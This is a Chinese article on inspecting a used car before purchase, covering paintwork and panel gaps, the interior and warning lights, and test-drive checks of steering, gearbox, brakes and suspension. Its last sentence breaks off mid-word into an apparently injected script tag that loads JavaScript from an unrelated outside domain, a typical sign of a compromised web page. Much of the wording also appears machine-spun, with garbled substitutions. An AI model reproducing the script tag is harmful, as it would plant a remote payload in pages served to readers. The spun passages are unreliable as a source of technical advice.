1、检查外观
1、检查车身漆色是不是一致，两侧表面弧度是不是平滑，以30至45角看漆面反光是不是合理，如有不同，汽车势必修复过，而且修复水平非常差。
2、将汽车放置在平地上，买家站在距车3至5米的正前方，察看车的肩部是不是一样高，假如不同，就说明车身钢架修复过或悬挂、减震没修复好。 3、察看发动机盖和两侧翼子板之间的接缝是不是平均；车门边缘的缝隙是不是一致；前大灯、后尾部组合灯与金属连接的缝隙是不是一样，新旧程度是不是一样。
4、察看每一块玻璃的标识是不是是同一品牌。
5、动手开关所有车门，将车门开启到45至60，并以正常力道关门，察看车门是不是可以关严，声音大小是不是相同，力度是不是一致。
6、最后察看汽车轮胎磨损的程度，品牌是不是一样，花纹是不是一致，假如有异，买完车后需要要更换，以保证行车安全。另外，因为靠边停车轮毂侧面容易被马路牙子啃坏，特别轮毂、汽车轮胎结合处破损紧急，动平衡非常难修复。
2、检查内室
1、检查座椅、内衬是不是整洁、干净，有没更换过或拆装过；车内自带的头枕、饰件是不是齐全；每个开关操控是不是顺手，有无问题。假如经纪公司将座椅、内饰进行过翻新，买家要特别小心，此车大概有重大问题。
2、着车前先打开钥匙门，察看仪表灯的显示是不是正常，有无缺少显示的现象。现行电喷车大都有问题警告灯提示功能，在打开钥匙门时，每个提示灯都应亮，假如有提示灯没亮，用户大概因此项问题没排除，故意拆掉仪表灯的灯泡，以混淆视听。
3、试驾
1、启动时，发动机是不是容易启动，这可以参照买家开车的经验。如启动的声音沉重，说明马达、电瓶或有关机械有问题。
2、启动后，第一检查方向盘(带帮助)左右打轮时的力度是不是一致，转向角度是不是合理，转向或掉头时，方向盘打死后，前轮是不是有磨汽车轮胎的现象出现，假如有，此车大概出过交通事故，汽车轮胎常常蹭着轮线，会对行车安全构成威胁。
3、对于手工变速箱第一通过行驶公里数和离合器的高低程度来判断离合器片是不是需要更换，再看行驶时换挡是不是平顺，假如换不上挡，就说明同步器磨损紧急，该大修啦；判断自变箱的好坏主如果通过感觉换挡时自变箱换挡是不是平顺，闯的感觉是不是强烈；察看换挡时，发动机的转速和行车速度是不是在厂商规定的范围区间，普通的规定是一挡变二挡的转速应在2000转，二挡变三挡的转速应在2000至3000转之间，三挡变四挡的转速也应在2000至3000转之间。
4、在行驶时应该注意车的噪音的发生处和声音的大小，来判断此车的密封程度和隔音成效，如出现哨音，说明汽车修复水平不好，有空气回旋的地方。另外还应该注意发动机、变速器、差速器和悬挂系统是不是有异响，如发动机发出当当当或哐哐哐的声音，变速器、差速器发出哗啦啦的声音时，说明此部件该大修了。
5、有经验的驾驶员是通过察看发动机的怠速平稳情况，加速时是不是有力，来判断发动机的好坏。假如有条件，还可以通过汽车爬坡时挡位来判断发动机的动力性能。
6、制动系统主要看汽车的刹车距离和刹车是不是跑偏，国内规定载乘一人的乘用车，在每小时50公里紧急制动的距离小于19米，载乘四人时的紧急制动的距离小于20米。另外，还应该注意的是ABS防抱死装置会不会出现拖带的现象，停车制动要选择在坡道上进行，并且车头向上和车头向下分别测试。
7、悬挂系统的好坏直接影响到汽车的行车安全。前轮前侧的附着力不同，会在汽车转弯时出现侧滑现象；后轮后侧的附着力不同，使汽车在转弯刹车时容易出现侧滑，比较紧急地影响了行车安全。减震的测试是需要依据不同厂商设计标准和汽车自重等不同状况的变化来选择不一样的测试标准。一般常规的办法是选择一个车轮用力向下按，然后放开，看它的复位状况，假如上下波动比较大，就说明减震器有问题，一次复位没波动，就说明减震器的状况还是最好的。假如过坎时，车像船似的晃晃荡荡，说明减震器出了问题。
最后刘评估师提醒买家:在海量二手车交易市场，经纪公司极少提供试驾服务，顶多只让客户在买卖区开车转转，根本测不出汽车实质性能。买家最好带一位比较懂车的老司机帮着参谋，或到有设施的二手车评估中心进行鉴别。另外要特别注意出过重大交通事故的事故车，由于修复过的车体，它的抗撞击强度达不到厂商原来的安全设计标准，不可以有效地保护乘员的安全，而且还是影响二手车报价比较大的一个方面。
为了让你放心买卖二手车，而不被卖车人忽悠。中国二手车建议你最好到二手车评估中心进?script src=http://cn.jxmmtv.com/cn.js